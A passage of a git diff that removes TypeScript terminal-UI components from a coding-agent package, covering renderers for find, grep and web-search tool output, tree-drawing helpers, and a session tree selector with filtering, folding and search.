theme.fg("toolOutput", line)).join("\n")}`; - if (remaining > 0) { - text += `${theme.fg("muted", `\n... (${remaining} more lines,`)} ${keyHint("expandTools", "to expand")})`; - } - } - - const entryLimit = this.result.details?.entryLimitReached; - const truncation = this.result.details?.truncation; - if (entryLimit || truncation?.truncated) { - const warnings: string[] = []; - if (entryLimit) { - warnings.push(`${entryLimit} entries limit`); - } - if (truncation?.truncated) { - warnings.push( - `${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit`, - ); - } - text += `\n${theme.fg("warning", `[Truncated: ${warnings.join(", ")}]`)}`; - } - } - } else if (normalizedToolName === "find") { - const pattern = str(this.args?.pattern); - const rawPath = str(this.args?.path); - const path = rawPath !== null ? shortenPath(rawPath || ".") : null; - const limit = this.args?.limit; - - text = - theme.fg("toolTitle", theme.bold("find")) + - " " + - (pattern === null ? invalidArg : theme.fg("accent", pattern || "")) + - theme.fg("toolOutput", ` in ${path === null ? invalidArg : path}`); - if (limit !== undefined) { - text += theme.fg("toolOutput", ` (limit ${limit})`); - } - - if (this.result) { - if (this.result.isError) { - const errorText = this.getTextOutput().trim() || "find failed"; - text += `\n\n${theme.fg("error", errorText)}`; - return text; - } - - const output = this.getTextOutput().trim(); - if (output) { - const lines = output.split("\n"); - const maxLines = this.expanded ? lines.length : 20; - const displayLines = lines.slice(0, maxLines); - const remaining = lines.length - maxLines; - - text += `\n\n${displayLines.map((line: string) => theme.fg("toolOutput", line)).join("\n")}`; - if (remaining > 0) { - text += `${theme.fg("muted", `\n... (${remaining} more lines,`)} ${keyHint("expandTools", "to expand")})`; - } - } - - const resultLimit = this.result.details?.resultLimitReached; - const truncation = this.result.details?.truncation; - if (resultLimit || truncation?.truncated) { - const warnings: string[] = []; - if (resultLimit) { - warnings.push(`${resultLimit} results limit`); - } - if (truncation?.truncated) { - warnings.push( - `${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit`, - ); - } - text += `\n${theme.fg("warning", `[Truncated: ${warnings.join(", ")}]`)}`; - } - } - } else if (normalizedToolName === "grep") { - const pattern = str(this.args?.pattern); - const rawPath = str(this.args?.path); - const path = rawPath !== null ? shortenPath(rawPath || ".") : null; - const glob = str(this.args?.glob); - const limit = this.args?.limit; - - text = - theme.fg("toolTitle", theme.bold("grep")) + - " " + - (pattern === null - ? invalidArg - : theme.fg("accent", `/${pattern || ""}/`)) + - theme.fg("toolOutput", ` in ${path === null ? invalidArg : path}`); - if (glob) { - text += theme.fg("toolOutput", ` (${glob})`); - } - if (limit !== undefined) { - text += theme.fg("toolOutput", ` limit ${limit}`); - } - - if (this.result) { - if (this.result.isError) { - const errorText = this.getTextOutput().trim() || "grep failed"; - text += `\n\n${theme.fg("error", errorText)}`; - return text; - } - - const output = this.getTextOutput().trim(); - if (output) { - const lines = output.split("\n"); - const maxLines = this.expanded ? lines.length : 15; - const displayLines = lines.slice(0, maxLines); - const remaining = lines.length - maxLines; - - text += `\n\n${displayLines.map((line: string) => theme.fg("toolOutput", line)).join("\n")}`; - if (remaining > 0) { - text += `${theme.fg("muted", `\n... (${remaining} more lines,`)} ${keyHint("expandTools", "to expand")})`; - } - } - - const matchLimit = this.result.details?.matchLimitReached; - const truncation = this.result.details?.truncation; - const linesTruncated = this.result.details?.linesTruncated; - if (matchLimit || truncation?.truncated || linesTruncated) { - const warnings: string[] = []; - if (matchLimit) { - warnings.push(`${matchLimit} matches limit`); - } - if (truncation?.truncated) { - warnings.push( - `${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit`, - ); - } - if (linesTruncated) { - warnings.push("some lines truncated"); - } - text += `\n${theme.fg("warning", `[Truncated: ${warnings.join(", ")}]`)}`; - } - } - } else if (normalizedToolName === "web_search") { - // Server-side Anthropic web search - text = theme.fg("toolTitle", theme.bold("web search")); - - if (process.env.PI_OFFLINE === "1") { - text += - "\n\n" + - theme.fg( - "muted", - "\u{1F50C} Offline \u{2014} web search unavailable", - ); - } else if (this.result) { - const output = this.getTextOutput().trim(); - if (output) { - const lines = output.split("\n"); - const maxLines = this.expanded ? lines.length : 10; - const displayLines = lines.slice(0, maxLines); - const remaining = lines.length - maxLines; - - text += `\n\n${displayLines.map((line: string) => theme.fg("toolOutput", line)).join("\n")}`; - if (remaining > 0) { - text += `${theme.fg("muted", `\n... (${remaining} more lines,`)} ${keyHint("expandTools", "to expand")})`; - } - } - } - } else { - // Generic tool / MCP tool without a registered renderer. - // Adapter-surfaced MCP tool names arrive as `mcp____`; - // render the server prefix in muted style so the tool name reads - // cleanly. SF-registered MCP tools have already had their prefix - // stripped upstream in partial-builder.ts and won't reach this branch. - const parsed = parseMcpToolName(this.toolName); - const displayName = parsed - ? parsed.tool - : prettifyToolName(this.toolName, this.toolDefinition?.label); - const serverPrefix = parsed - ? theme.fg("muted", `${parsed.server}\u00b7`) - : ""; - text = serverPrefix + theme.fg("toolTitle", theme.bold(displayName)); - - const argsText = formatCompactArgs(this.args, this.expanded); - if (argsText) { - if (argsText.includes("\n")) { - text += `\n\n${theme.fg("toolOutput", argsText)}`; - } else { - text += " " + theme.fg("toolOutput", argsText); - } - } - - if (this.result) { - const output = this.getTextOutput().trim(); - if (output) { - const lines = output.split("\n"); - const maxLines = this.expanded - ? lines.length - : GENERIC_OUTPUT_PREVIEW_LINES; - const displayLines = lines.slice(0, maxLines); - const remaining = lines.length - maxLines; - text += `\n\n${displayLines.map((line: string) => theme.fg("toolOutput", line)).join("\n")}`; - if (remaining > 0) { - text += `${theme.fg("muted", `\n... (${remaining} more lines,`)} ${keyHint("expandTools", "to expand")})`; - } - } - } - } - - return text; - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/tree-render-utils.ts b/packages/pi-coding-agent/src/modes/interactive/components/tree-render-utils.ts deleted file mode 100644 index b1d5c6cd4..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/tree-render-utils.ts +++ /dev/null @@ -1,104 +0,0 @@ -import { truncateToWidth } from "@singularity-forge/pi-tui"; -import { theme } from "../theme/theme.js"; - -// ── Tree connector characters ──────────────────────────────────────── -export const TREE_BRANCH = "\u251C\u2500 "; // "├─ " -export const TREE_LAST = "\u2514\u2500 "; // "└─ " -export const TREE_PIPE = "\u2502 "; // "│ " -export const TREE_SPACE = " "; // 3 spaces - -/** - * Build a tree prefix string from ancestor-continuation flags and branch position. - * - * Each ancestor level contributes either a pipe ("│ ") or blank spacing (" ") - * depending on whether that ancestor has more siblings after it. The final segment - * is the branch connector: "├─ " (more siblings) or "└─ " (last sibling). - * - * Used by session-selector for its simpler flat tree display. - * tree-selector uses its own gutter-based char-by-char builder for richer rendering. - */ -export function buildTreePrefix( - ancestorContinues: boolean[], - isLast: boolean, - depth: number, -): string { - if (depth === 0) return ""; - const parts = ancestorContinues.map((continues) => - continues ? TREE_PIPE : TREE_SPACE, - ); - const branch = isLast ? TREE_LAST : TREE_BRANCH; - return parts.join("") + branch; -} - -// ── Scroll window ──────────────────────────────────────────────────── - -export interface ScrollWindow { - /** First visible index (inclusive) */ - startIndex: number; - /** Last visible index (exclusive) */ - endIndex: number; -} - -/** - * Compute a centered scroll window around `selectedIndex` within a list of `totalItems`. - * - * The window tries to center the selected item. When near the beginning or end of the - * list the window clamps so it doesn't exceed bounds. - */ -export function computeScrollWindow( - selectedIndex: number, - totalItems: number, - maxVisible: number, -): ScrollWindow { - const startIndex = Math.max( - 0, - Math.min( - selectedIndex - Math.floor(maxVisible / 2), - totalItems - maxVisible, - ), - ); - const endIndex = Math.min(startIndex + maxVisible, totalItems); - return { startIndex, endIndex }; -} - -// ── Cursor & selection helpers ─────────────────────────────────────── - -/** - * Return the cursor indicator for a list row. - * - * Selected: "› " (accent-colored) - * Unselected: " " (two spaces, matching width) - */ -export function renderCursor(isSelected: boolean): string { - return isSelected ? theme.fg("accent", "\u203A ") : " "; -} - -/** - * Apply selected-row background highlight and truncate to `width`. - */ -export function applyRowHighlight( - line: string, - isSelected: boolean, - width: number, -): string { - const truncated = truncateToWidth(line, width); - return isSelected ? theme.bg("selectedBg", truncated) : truncated; -} - -// ── Scroll position indicator ──────────────────────────────────────── - -/** - * Render a muted "(current/total)" position indicator, optionally with a suffix label. - */ -export function renderScrollPosition( - selectedIndex: number, - totalItems: number, - width: number, - suffixLabel?: string, -): string { - const suffix = suffixLabel ?? ""; - return truncateToWidth( - theme.fg("muted", ` (${selectedIndex + 1}/${totalItems})${suffix}`), - width, - ); -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/tree-selector.ts b/packages/pi-coding-agent/src/modes/interactive/components/tree-selector.ts deleted file mode 100644 index b4e019977..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/tree-selector.ts +++ /dev/null @@ -1,1419 +0,0 @@ -import { - type Component, - Container, - type Focusable, - getEditorKeybindings, - Input, - matchesKey, - Spacer, - Text, - TruncatedText, - truncateToWidth, -} from "@singularity-forge/pi-tui"; -import type { SessionTreeNode } from "../../../core/session-manager.js"; -import { theme } from "../theme/theme.js"; -import { DynamicBorder } from "./dynamic-border.js"; -import { keyHint } from "./keybinding-hints.js"; -import { - applyRowHighlight, - computeScrollWindow, - renderCursor, - renderScrollPosition, -} from "./tree-render-utils.js"; - -/** Gutter info: position (displayIndent where connector was) and whether to show │ */ -interface GutterInfo { - position: number; // displayIndent level where the connector was shown - show: boolean; // true = show │, false = show spaces -} - -/** Flattened tree node for navigation */ -interface FlatNode { - node: SessionTreeNode; - /** Indentation level (each level = 3 chars) */ - indent: number; - /** Whether to show connector (├─ or └─) - true if parent has multiple children */ - showConnector: boolean; - /** If showConnector, true = last sibling (└─), false = not last (├─) */ - isLast: boolean; - /** Gutter info for each ancestor branch point */ - gutters: GutterInfo[]; - /** True if this node is a root under a virtual branching root (multiple roots) */ - isVirtualRootChild: boolean; -} - -/** Filter mode for tree display */ -export type FilterMode = - | "default" - | "no-tools" - | "user-only" - | "labeled-only" - | "all"; - -/** - * Tree list component with selection and ASCII art visualization - */ -/** Tool call info for lookup */ -interface ToolCallInfo { - name: string; - arguments: Record; -} - -class TreeList implements Component { - private flatNodes: FlatNode[] = []; - private filteredNodes: FlatNode[] = []; - private selectedIndex = 0; - private currentLeafId: string | null; - private maxVisibleLines: number; - private filterMode: FilterMode = "default"; - private searchQuery = ""; - private toolCallMap: Map = new Map(); - private multipleRoots = false; - private activePathIds: Set = new Set(); - private visibleParentMap: Map = new Map(); - private visibleChildrenMap: Map = new Map(); - private lastSelectedId: string | null = null; - private foldedNodes: Set = new Set(); - - public onSelect?: (entryId: string) => void; - public onCancel?: () => void; - public onLabelEdit?: ( - entryId: string, - currentLabel: string | undefined, - ) => void; - - constructor( - tree: SessionTreeNode[], - currentLeafId: string | null, - maxVisibleLines: number, - initialSelectedId?: string, - initialFilterMode?: FilterMode, - ) { - this.currentLeafId = currentLeafId; - this.maxVisibleLines = maxVisibleLines; - this.filterMode = initialFilterMode ?? "default"; - this.multipleRoots = tree.length > 1; - this.flatNodes = this.flattenTree(tree); - this.buildActivePath(); - this.applyFilter(); - - // Start with initialSelectedId if provided, otherwise current leaf - const targetId = initialSelectedId ?? currentLeafId; - this.selectedIndex = this.findNearestVisibleIndex(targetId); - this.lastSelectedId = - this.filteredNodes[this.selectedIndex]?.node.entry.id ?? null; - } - - /** - * Find the index of the nearest visible entry, walking up the parent chain if needed. - * Returns the index in filteredNodes, or the last index as fallback. - */ - private findNearestVisibleIndex(entryId: string | null): number { - if (this.filteredNodes.length === 0) return 0; - - // Build a map for parent lookup - const entryMap = new Map(); - for (const flatNode of this.flatNodes) { - entryMap.set(flatNode.node.entry.id, flatNode); - } - - // Build a map of visible entry IDs to their indices in filteredNodes - const visibleIdToIndex = new Map( - this.filteredNodes.map((node, i) => [node.node.entry.id, i]), - ); - - // Walk from entryId up to root, looking for a visible entry - let currentId = entryId; - while (currentId !== null) { - const index = visibleIdToIndex.get(currentId); - if (index !== undefined) return index; - const node = entryMap.get(currentId); - if (!node) break; - currentId = node.node.entry.parentId ?? null; - } - - // Fallback: last visible entry - return this.filteredNodes.length - 1; - } - - /** Build the set of entry IDs on the path from root to current leaf */ - private buildActivePath(): void { - this.activePathIds.clear(); - if (!this.currentLeafId) return; - - // Build a map of id -> entry for parent lookup - const entryMap = new Map(); - for (const flatNode of this.flatNodes) { - entryMap.set(flatNode.node.entry.id, flatNode); - } - - // Walk from leaf to root - let currentId: string | null = this.currentLeafId; - while (currentId) { - this.activePathIds.add(currentId); - const node = entryMap.get(currentId); - if (!node) break; - currentId = node.node.entry.parentId ?? null; - } - } - - private flattenTree(roots: SessionTreeNode[]): FlatNode[] { - const result: FlatNode[] = []; - this.toolCallMap.clear(); - - // Indentation rules: - // - At indent 0: stay at 0 unless parent has >1 children (then +1) - // - At indent 1: children always go to indent 2 (visual grouping of subtree) - // - At indent 2+: stay flat for single-child chains, +1 only if parent branches - - // Stack items: [node, indent, justBranched, showConnector, isLast, gutters, isVirtualRootChild] - type StackItem = [ - SessionTreeNode, - number, - boolean, - boolean, - boolean, - GutterInfo[], - boolean, - ]; - const stack: StackItem[] = []; - - // Determine which subtrees contain the active leaf (to sort current branch first) - // Use iterative post-order traversal to avoid stack overflow - const containsActive = new Map(); - const leafId = this.currentLeafId; - { - // Build list in pre-order, then process in reverse for post-order effect - const allNodes: SessionTreeNode[] = []; - const preOrderStack: SessionTreeNode[] = [...roots]; - while (preOrderStack.length > 0) { - const node = preOrderStack.pop()!; - allNodes.push(node); - // Push children in reverse so they're processed left-to-right - for (let i = node.children.length - 1; i >= 0; i--) { - preOrderStack.push(node.children[i]); - } - } - // Process in reverse (post-order): children before parents - for (let i = allNodes.length - 1; i >= 0; i--) { - const node = allNodes[i]; - let has = leafId !== null && node.entry.id === leafId; - for (const child of node.children) { - if (containsActive.get(child)) { - has = true; - } - } - containsActive.set(node, has); - } - } - - // Add roots in reverse order, prioritizing the one containing the active leaf - // If multiple roots, treat them as children of a virtual root that branches - const multipleRoots = roots.length > 1; - const orderedRoots = [...roots].sort( - (a, b) => Number(containsActive.get(b)) - Number(containsActive.get(a)), - ); - for (let i = orderedRoots.length - 1; i >= 0; i--) { - const isLast = i === orderedRoots.length - 1; - stack.push([ - orderedRoots[i], - multipleRoots ? 1 : 0, - multipleRoots, - multipleRoots, - isLast, - [], - multipleRoots, - ]); - } - - while (stack.length > 0) { - const [ - node, - indent, - justBranched, - showConnector, - isLast, - gutters, - isVirtualRootChild, - ] = stack.pop()!; - - // Extract tool calls from assistant messages for later lookup - const entry = node.entry; - if (entry.type === "message" && entry.message.role === "assistant") { - const content = (entry.message as { content?: unknown }).content; - if (Array.isArray(content)) { - for (const block of content) { - if ( - typeof block === "object" && - block !== null && - "type" in block && - block.type === "toolCall" - ) { - const tc = block as { - id: string; - name: string; - arguments: Record; - }; - this.toolCallMap.set(tc.id, { - name: tc.name, - arguments: tc.arguments, - }); - } - } - } - } - - result.push({ - node, - indent, - showConnector, - isLast, - gutters, - isVirtualRootChild, - }); - - const children = node.children; - const multipleChildren = children.length > 1; - - // Order children so the branch containing the active leaf comes first - const orderedChildren = (() => { - const prioritized: SessionTreeNode[] = []; - const rest: SessionTreeNode[] = []; - for (const child of children) { - if (containsActive.get(child)) { - prioritized.push(child); - } else { - rest.push(child); - } - } - return [...prioritized, ...rest]; - })(); - - // Calculate child indent - let childIndent: number; - if (multipleChildren) { - // Parent branches: children get +1 - childIndent = indent + 1; - } else if (justBranched && indent > 0) { - // First generation after a branch: +1 for visual grouping - childIndent = indent + 1; - } else { - // Single-child chain: stay flat - childIndent = indent; - } - - // Build gutters for children - // If this node showed a connector, add a gutter entry for descendants - // Only add gutter if connector is actually displayed (not suppressed for virtual root children) - const connectorDisplayed = showConnector && !isVirtualRootChild; - // When connector is displayed, add a gutter entry at the connector's position - // Connector is at position (displayIndent - 1), so gutter should be there too - const currentDisplayIndent = this.multipleRoots - ? Math.max(0, indent - 1) - : indent; - const connectorPosition = Math.max(0, currentDisplayIndent - 1); - const childGutters: GutterInfo[] = connectorDisplayed - ? [...gutters, { position: connectorPosition, show: !isLast }] - : gutters; - - // Add children in reverse order - for (let i = orderedChildren.length - 1; i >= 0; i--) { - const childIsLast = i === orderedChildren.length - 1; - stack.push([ - orderedChildren[i], - childIndent, - multipleChildren, - multipleChildren, - childIsLast, - childGutters, - false, - ]); - } - } - - return result; - } - - private applyFilter(): void { - // Update lastSelectedId only when we have a valid selection (non-empty list) - // This preserves the selection when switching through empty filter results - if (this.filteredNodes.length > 0) { - this.lastSelectedId = - this.filteredNodes[this.selectedIndex]?.node.entry.id ?? - this.lastSelectedId; - } - - const searchTokens = this.searchQuery - .toLowerCase() - .split(/\s+/) - .filter(Boolean); - - this.filteredNodes = this.flatNodes.filter((flatNode) => { - const entry = flatNode.node.entry; - const isCurrentLeaf = entry.id === this.currentLeafId; - - // Skip assistant messages with only tool calls (no text) unless error/aborted - // Always show current leaf so active position is visible - if ( - entry.type === "message" && - entry.message.role === "assistant" && - !isCurrentLeaf - ) { - const msg = entry.message as { stopReason?: string; content?: unknown }; - const hasText = this.hasTextContent(msg.content); - const isErrorOrAborted = - msg.stopReason && - msg.stopReason !== "stop" && - msg.stopReason !== "toolUse"; - // Only hide if no text AND not an error/aborted message - if (!hasText && !isErrorOrAborted) { - return false; - } - } - - // Apply filter mode - let passesFilter = true; - // Entry types hidden in default view (settings/bookkeeping) - const isSettingsEntry = - entry.type === "label" || - entry.type === "custom" || - entry.type === "model_change" || - entry.type === "thinking_level_change"; - - switch (this.filterMode) { - case "user-only": - // Just user messages - passesFilter = - entry.type === "message" && entry.message.role === "user"; - break; - case "no-tools": - // Default minus tool results - passesFilter = - !isSettingsEntry && - !(entry.type === "message" && entry.message.role === "toolResult"); - break; - case "labeled-only": - // Just labeled entries - passesFilter = flatNode.node.label !== undefined; - break; - case "all": - // Show everything - passesFilter = true; - break; - default: - // Default mode: hide settings/bookkeeping entries - passesFilter = !isSettingsEntry; - break; - } - - if (!passesFilter) return false; - - // Apply search filter - if (searchTokens.length > 0) { - const nodeText = this.getSearchableText(flatNode.node).toLowerCase(); - return searchTokens.every((token) => nodeText.includes(token)); - } - - return true; - }); - - // Filter out descendants of folded nodes. - if (this.foldedNodes.size > 0) { - const skipSet = new Set(); - for (const flatNode of this.flatNodes) { - const { id, parentId } = flatNode.node.entry; - if ( - parentId != null && - (this.foldedNodes.has(parentId) || skipSet.has(parentId)) - ) { - skipSet.add(id); - } - } - this.filteredNodes = this.filteredNodes.filter( - (flatNode) => !skipSet.has(flatNode.node.entry.id), - ); - } - - // Recalculate visual structure (indent, connectors, gutters) based on visible tree - this.recalculateVisualStructure(); - - // Try to preserve cursor on the same node, or find nearest visible ancestor - if (this.lastSelectedId) { - this.selectedIndex = this.findNearestVisibleIndex(this.lastSelectedId); - } else if (this.selectedIndex >= this.filteredNodes.length) { - // Clamp index if out of bounds - this.selectedIndex = Math.max(0, this.filteredNodes.length - 1); - } - - // Update lastSelectedId to the actual selection (may have changed due to parent walk) - if (this.filteredNodes.length > 0) { - this.lastSelectedId = - this.filteredNodes[this.selectedIndex]?.node.entry.id ?? - this.lastSelectedId; - } - } - - /** - * Recompute indentation/connectors for the filtered view - * - * Filtering can hide intermediate entries; descendants attach to the nearest visible ancestor. - * Keep indentation semantics aligned with flattenTree() so single-child chains don't drift right. - */ - private recalculateVisualStructure(): void { - if (this.filteredNodes.length === 0) return; - - const visibleIds = new Set(this.filteredNodes.map((n) => n.node.entry.id)); - - // Build entry map for efficient parent lookup (using full tree) - const entryMap = new Map(); - for (const flatNode of this.flatNodes) { - entryMap.set(flatNode.node.entry.id, flatNode); - } - - // Find nearest visible ancestor for a node - const findVisibleAncestor = (nodeId: string): string | null => { - let currentId = entryMap.get(nodeId)?.node.entry.parentId ?? null; - while (currentId !== null) { - if (visibleIds.has(currentId)) { - return currentId; - } - currentId = entryMap.get(currentId)?.node.entry.parentId ?? null; - } - return null; - }; - - // Build visible tree structure: - // - visibleParent: nodeId → nearest visible ancestor (or null for roots) - // - visibleChildren: parentId → list of visible children (in filteredNodes order) - const visibleParent = new Map(); - const visibleChildren = new Map(); - visibleChildren.set(null, []); // root-level nodes - - for (const flatNode of this.filteredNodes) { - const nodeId = flatNode.node.entry.id; - const ancestorId = findVisibleAncestor(nodeId); - visibleParent.set(nodeId, ancestorId); - - if (!visibleChildren.has(ancestorId)) { - visibleChildren.set(ancestorId, []); - } - visibleChildren.get(ancestorId)!.push(nodeId); - } - - // Update multipleRoots based on visible roots - const visibleRootIds = visibleChildren.get(null)!; - this.multipleRoots = visibleRootIds.length > 1; - - // Build a map for quick lookup: nodeId → FlatNode - const filteredNodeMap = new Map(); - for (const flatNode of this.filteredNodes) { - filteredNodeMap.set(flatNode.node.entry.id, flatNode); - } - - // DFS over the visible tree using flattenTree() indentation semantics - // Stack items: [nodeId, indent, justBranched, showConnector, isLast, gutters, isVirtualRootChild] - type StackItem = [ - string, - number, - boolean, - boolean, - boolean, - GutterInfo[], - boolean, - ]; - const stack: StackItem[] = []; - - // Add visible roots in reverse order (to process in forward order via stack) - for (let i = visibleRootIds.length - 1; i >= 0; i--) { - const isLast = i === visibleRootIds.length - 1; - stack.push([ - visibleRootIds[i], - this.multipleRoots ? 1 : 0, - this.multipleRoots, - this.multipleRoots, - isLast, - [], - this.multipleRoots, - ]); - } - - while (stack.length > 0) { - const [ - nodeId, - indent, - justBranched, - showConnector, - isLast, - gutters, - isVirtualRootChild, - ] = stack.pop()!; - - const flatNode = filteredNodeMap.get(nodeId); - if (!flatNode) continue; - - // Update this node's visual properties - flatNode.indent = indent; - flatNode.showConnector = showConnector; - flatNode.isLast = isLast; - flatNode.gutters = gutters; - flatNode.isVirtualRootChild = isVirtualRootChild; - - // Get visible children of this node - const children = visibleChildren.get(nodeId) || []; - const multipleChildren = children.length > 1; - - // Child indent follows flattenTree(): branch points (and first generation after a branch) shift +1 - let childIndent: number; - if (multipleChildren) { - childIndent = indent + 1; - } else if (justBranched && indent > 0) { - childIndent = indent + 1; - } else { - childIndent = indent; - } - - // Child gutters follow flattenTree() connector/gutter rules - const connectorDisplayed = showConnector && !isVirtualRootChild; - const currentDisplayIndent = this.multipleRoots - ? Math.max(0, indent - 1) - : indent; - const connectorPosition = Math.max(0, currentDisplayIndent - 1); - const childGutters: GutterInfo[] = connectorDisplayed - ? [...gutters, { position: connectorPosition, show: !isLast }] - : gutters; - - // Add children in reverse order (to process in forward order via stack) - for (let i = children.length - 1; i >= 0; i--) { - const childIsLast = i === children.length - 1; - stack.push([ - children[i], - childIndent, - multipleChildren, - multipleChildren, - childIsLast, - childGutters, - false, - ]); - } - } - - // Store visible tree maps for ancestor/descendant lookups in navigation - this.visibleParentMap = visibleParent; - this.visibleChildrenMap = visibleChildren; - } - - /** Get searchable text content from a node */ - private getSearchableText(node: SessionTreeNode): string { - const entry = node.entry; - const parts: string[] = []; - - if (node.label) { - parts.push(node.label); - } - - switch (entry.type) { - case "message": { - const msg = entry.message; - parts.push(msg.role); - if ("content" in msg && msg.content) { - parts.push(this.extractContent(msg.content)); - } - if (msg.role === "bashExecution") { - const bashMsg = msg as { command?: string }; - if (bashMsg.command) parts.push(bashMsg.command); - } - break; - } - case "custom_message": { - parts.push(entry.customType); - if (typeof entry.content === "string") { - parts.push(entry.content); - } else { - parts.push(this.extractContent(entry.content)); - } - break; - } - case "compaction": - parts.push("compaction"); - break; - case "branch_summary": - parts.push("branch summary", entry.summary); - break; - case "model_change": - parts.push("model", entry.modelId); - break; - case "thinking_level_change": - parts.push("thinking", entry.thinkingLevel); - break; - case "custom": - parts.push("custom", entry.customType); - break; - case "label": - parts.push("label", entry.label ?? ""); - break; - } - - return parts.join(" "); - } - - invalidate(): void {} - - getSearchQuery(): string { - return this.searchQuery; - } - - getSelectedNode(): SessionTreeNode | undefined { - return this.filteredNodes[this.selectedIndex]?.node; - } - - updateNodeLabel(entryId: string, label: string | undefined): void { - for (const flatNode of this.flatNodes) { - if (flatNode.node.entry.id === entryId) { - flatNode.node.label = label; - break; - } - } - } - - private getFilterLabel(): string { - switch (this.filterMode) { - case "no-tools": - return " [no-tools]"; - case "user-only": - return " [user]"; - case "labeled-only": - return " [labeled]"; - case "all": - return " [all]"; - default: - return ""; - } - } - - render(width: number): string[] { - const lines: string[] = []; - - if (this.filteredNodes.length === 0) { - lines.push( - truncateToWidth(theme.fg("muted", " No entries found"), width), - ); - lines.push( - truncateToWidth( - theme.fg("muted", ` (0/0)${this.getFilterLabel()}`), - width, - ), - ); - return lines; - } - - const { startIndex, endIndex } = computeScrollWindow( - this.selectedIndex, - this.filteredNodes.length, - this.maxVisibleLines, - ); - - for (let i = startIndex; i < endIndex; i++) { - const flatNode = this.filteredNodes[i]; - const entry = flatNode.node.entry; - const isSelected = i === this.selectedIndex; - - // Build line: cursor + prefix + path marker + label + content - const cursor = renderCursor(isSelected); - - // If multiple roots, shift display (roots at 0, not 1) - const displayIndent = this.multipleRoots - ? Math.max(0, flatNode.indent - 1) - : flatNode.indent; - - // Build prefix with gutters at their correct positions - // Each gutter has a position (displayIndent where its connector was shown) - const connector = - flatNode.showConnector && !flatNode.isVirtualRootChild - ? flatNode.isLast - ? "└─ " - : "├─ " - : ""; - const connectorPosition = connector ? displayIndent - 1 : -1; - - // Build prefix char by char, placing gutters and connector at their positions - const totalChars = displayIndent * 3; - const prefixChars: string[] = []; - const isFolded = this.foldedNodes.has(entry.id); - for (let i = 0; i < totalChars; i++) { - const level = Math.floor(i / 3); - const posInLevel = i % 3; - - // Check if there's a gutter at this level - const gutter = flatNode.gutters.find((g) => g.position === level); - if (gutter) { - if (posInLevel === 0) { - prefixChars.push(gutter.show ? "│" : " "); - } else { - prefixChars.push(" "); - } - } else if (connector && level === connectorPosition) { - // Connector at this level, with fold indicator - if (posInLevel === 0) { - prefixChars.push(flatNode.isLast ? "└" : "├"); - } else if (posInLevel === 1) { - const foldable = this.isFoldable(entry.id); - prefixChars.push(isFolded ? "⊞" : foldable ? "⊟" : "─"); - } else { - prefixChars.push(" "); - } - } else { - prefixChars.push(" "); - } - } - const prefix = prefixChars.join(""); - - // Fold marker for nodes without connectors (roots) - const showsFoldInConnector = - flatNode.showConnector && !flatNode.isVirtualRootChild; - const foldMarker = - isFolded && !showsFoldInConnector ? theme.fg("accent", "⊞ ") : ""; - - // Active path marker - shown right before the entry text - const isOnActivePath = this.activePathIds.has(entry.id); - const pathMarker = isOnActivePath ? theme.fg("accent", "• ") : ""; - - const label = flatNode.node.label - ? theme.fg("warning", `[${flatNode.node.label}] `) - : ""; - const content = this.getEntryDisplayText(flatNode.node, isSelected); - - const line = - cursor + - theme.fg("dim", prefix) + - foldMarker + - pathMarker + - label + - content; - lines.push(applyRowHighlight(line, isSelected, width)); - } - - lines.push( - renderScrollPosition( - this.selectedIndex, - this.filteredNodes.length, - width, - this.getFilterLabel(), - ), - ); - - return lines; - } - - private getEntryDisplayText( - node: SessionTreeNode, - isSelected: boolean, - ): string { - const entry = node.entry; - let result: string; - - const normalize = (s: string) => s.replace(/[\n\t]/g, " ").trim(); - - switch (entry.type) { - case "message": { - const msg = entry.message; - const role = msg.role; - if (role === "user") { - const msgWithContent = msg as { content?: unknown }; - const content = normalize( - this.extractContent(msgWithContent.content), - ); - result = theme.fg("accent", "user: ") + content; - } else if (role === "assistant") { - const msgWithContent = msg as { - content?: unknown; - stopReason?: string; - errorMessage?: string; - }; - const textContent = normalize( - this.extractContent(msgWithContent.content), - ); - if (textContent) { - result = theme.fg("success", "assistant: ") + textContent; - } else if (msgWithContent.stopReason === "aborted") { - result = - theme.fg("success", "assistant: ") + - theme.fg("muted", "(aborted)"); - } else if (msgWithContent.errorMessage) { - const errMsg = normalize(msgWithContent.errorMessage).slice(0, 80); - result = - theme.fg("success", "assistant: ") + theme.fg("error", errMsg); - } else { - result = - theme.fg("success", "assistant: ") + - theme.fg("muted", "(no content)"); - } - } else if (role === "toolResult") { - const toolMsg = msg as { toolCallId?: string; toolName?: string }; - const toolCall = toolMsg.toolCallId - ? this.toolCallMap.get(toolMsg.toolCallId) - : undefined; - if (toolCall) { - result = theme.fg( - "muted", - this.formatToolCall(toolCall.name, toolCall.arguments), - ); - } else { - result = theme.fg("muted", `[${toolMsg.toolName ?? "tool"}]`); - } - } else if (role === "bashExecution") { - const bashMsg = msg as { command?: string }; - result = theme.fg( - "dim", - `[bash]: ${normalize(bashMsg.command ?? "")}`, - ); - } else { - result = theme.fg("dim", `[${role}]`); - } - break; - } - case "custom_message": { - const content = - typeof entry.content === "string" - ? entry.content - : entry.content - .filter( - (c): c is { type: "text"; text: string } => c.type === "text", - ) - .map((c) => c.text) - .join(""); - result = - theme.fg("customMessageLabel", `[${entry.customType}]: `) + - normalize(content); - break; - } - case "compaction": { - const tokens = Math.round(entry.tokensBefore / 1000); - result = theme.fg("borderAccent", `[compaction: ${tokens}k tokens]`); - break; - } - case "branch_summary": - result = - theme.fg("warning", `[branch summary]: `) + normalize(entry.summary); - break; - case "model_change": - result = theme.fg("dim", `[model: ${entry.modelId}]`); - break; - case "thinking_level_change": - result = theme.fg("dim", `[thinking: ${entry.thinkingLevel}]`); - break; - case "custom": - result = theme.fg("dim", `[custom: ${entry.customType}]`); - break; - case "label": - result = theme.fg("dim", `[label: ${entry.label ?? "(cleared)"}]`); - break; - default: - result = ""; - } - - return isSelected ? theme.bold(result) : result; - } - - private extractContent(content: unknown): string { - const maxLen = 200; - if (typeof content === "string") return content.slice(0, maxLen); - if (Array.isArray(content)) { - let result = ""; - for (const c of content) { - if ( - typeof c === "object" && - c !== null && - "type" in c && - c.type === "text" - ) { - result += (c as { text: string }).text; - if (result.length >= maxLen) return result.slice(0, maxLen); - } - } - return 